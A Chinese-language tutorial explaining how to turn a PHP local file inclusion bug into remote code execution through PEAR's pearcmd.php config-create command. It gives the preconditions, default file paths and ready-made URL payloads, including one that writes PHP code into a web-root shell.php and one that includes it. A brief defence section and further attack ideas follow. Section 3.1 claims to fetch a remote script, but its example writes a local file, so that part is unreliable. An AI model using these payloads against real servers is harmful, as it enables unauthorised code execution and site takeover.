如何利用pear扩展实现rce
字数 1204 2025-08-11 21:26:39
利用PEAR扩展实现RCE的详细教学文档
1. 利用条件
要实现通过PEAR扩展的RCE攻击,必须满足以下三个条件:
- 服务器安装PEAR:存在
pearcmd.php文件,且攻击者知道该文件的路径 - PHP配置:
php.ini中register_argc_argv设置为On - 文件包含漏洞:存在可包含PHP文件的LFI漏洞,且没有
open_basedir限制
2. 前置知识
2.1 PEAR/PECL简介
- PECL:PHP扩展社区库,用于管理PHP扩展的命令行工具
- PEAR:PHP扩展与应用库,PECL依赖的类库
pearcmd.php:PEAR的命令行接口PHP实现
2.2 安装情况
- PHP 7.3及以前:默认安装PEAR/PECL
- PHP 7.4及以后:需要在编译时指定
--with-pear才会安装 - Docker环境:大多数镜像默认安装PEAR/PECL
2.3 常见路径
pearcmd.php可能位于以下路径:
/usr/local/lib/php/pearcmd.php/usr/share/pear/pearcmd.php
2.4 register_argc_argv选项
- 控制是否可以通过
$_SERVER['argv']获取命令行参数 - 默认值:
- 有
php.ini时默认Off - 无
php.ini时默认On
- 有
- 影响范围:
- CLI模式不受此选项影响
- Web模式下必须设为
On才能利用
3. 利用方式
3.1 直接下载远程脚本
当目标服务器可出网时,可以直接拉取远程脚本执行:
http://target.com/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php
3.2 写入本地文件执行
- 写入文件:
http://target.com/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?php phpinfo();?>+/var/www/html/shell.php
- 包含执行:
http://target.com/index.php?file=/var/www/html/shell.php
3.3 常见问题解决
问题:写入的文件无法执行PHP代码
原因:php.ini中short_open_tag设置为Off
解决方案:
- 修改
php.ini将short_open_tag设为On - 或者使用完整PHP标签
<?php phpinfo();?>代替短标签<?=phpinfo()?>
4. 防御措施
- 禁用PEAR:如不需要,卸载PEAR扩展
- 配置安全:
- 设置
register_argc_argv = Off - 限制
open_basedir
- 设置
- 文件包含防护:
- 避免使用用户输入作为文件包含参数
- 对包含的文件路径进行严格过滤
- 更新PHP:使用最新版本PHP,默认不安装PEAR
5. 扩展思考
- 替代利用方式:除
pearcmd.php外,还可寻找其他可包含的PHP文件 - 标签变种:尝试使用
<%、<script language="php">等替代PHP标签 - 日志污染:通过污染日志文件实现RCE
- 临时文件利用:结合文件上传和包含临时文件实现RCE
本技术适用于存在LFI漏洞且满足条件的PHP环境,实际利用前应充分测试目标环境配置。